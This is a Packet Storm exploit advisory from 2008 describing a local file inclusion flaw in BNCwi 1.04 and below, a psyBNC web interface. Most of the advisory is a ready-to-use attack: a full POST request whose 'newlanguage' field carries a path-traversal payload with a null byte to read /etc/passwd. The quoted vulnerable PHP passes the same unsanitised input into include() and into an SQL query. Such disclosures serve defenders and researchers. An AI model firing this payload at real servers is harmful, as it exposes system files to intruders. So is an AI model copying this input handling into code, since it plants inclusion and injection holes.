what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

bncwi-lfi.txt

bncwi-lfi.txt
Posted Dec 5, 2008
Authored by dun

BNCwi versions 1.04 and below suffer from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
SHA-256 | 77d5ba52d96cb97bf75c21ca05acbfff990e9e02c2298f312b5ee0513cd3695f

bncwi-lfi.txt

Change Mirror Download
  :::::::-.   ...    ::::::.    :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM

[ Discovered by dun \ dun[at]strcpy.pl ]

###########################################################
# [ BNCwi <= 1.04 ] Local File Inclusion Vulnerability #
###########################################################
#
# Script: "BNCwi is a Open-Source webinterface for psyBNC.
# With it you easily can manage your Bouncer via a graphical interface."
#
# Download: http://sourceforge.net/projects/bncwi/
#
# [LFI] Vuln: http://site.com/bncwi/index.php
#
# POST /bncwi/index.php HTTP/1.1
#
# Host: www.site.com
# User-Agent: Mozilla/5.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: pl,en-us;q=0.7,en;q=0.3
# Accept-Encoding: gzip,deflate
# Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
# Keep-Alive: 300
# Connection: keep-alive
# Content-Type: application/x-www-form-urlencoded
# Content-Length: 49
#
# newlanguage=../../../../../../../../etc/passwd%00
#
# HTTP/1.x 200 OK
# Date: Fri, 05 Dec 2008 01:27:15 GMT
# Server: Apache
# X-Powered-By: PHP/5.2.6-pl7-gentoo
# Keep-Alive: timeout=15, max=100
# Connection: Keep-Alive
# Transfer-Encoding: chunked
# Content-Type: text/html
#
# Bug: ./bncwi-1.04/index.php (lines: 47-56)
#
# ...
# if(isset($_POST['newlanguage']))
# {
# setcookie("bncwi_language", $_POST['newlanguage'], time()+60*60*24*30);
# if($_SESSION['logedin'] == "1")
# {
# mysql_query("UPDATE `$table_customers` SET `language` = '$_POST[newlanguage]' WHERE `serverid` = $_SESSION[server_id] AND BINARY `login` = '$_SESSION[USER_LOGIN]' LIMIT 1;");
# }
# $_SESSION['language'] = $_POST['newlanguage'];
# include("lang_".$_POST['newlanguage'].".inc.php"); //LFI
# }
# ...
#
#
###############################################
# Greetz: D3m0n_DE * str0ke * and otherz..
###############################################

[ dun / 2008 ]

*******************************************************************************************

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close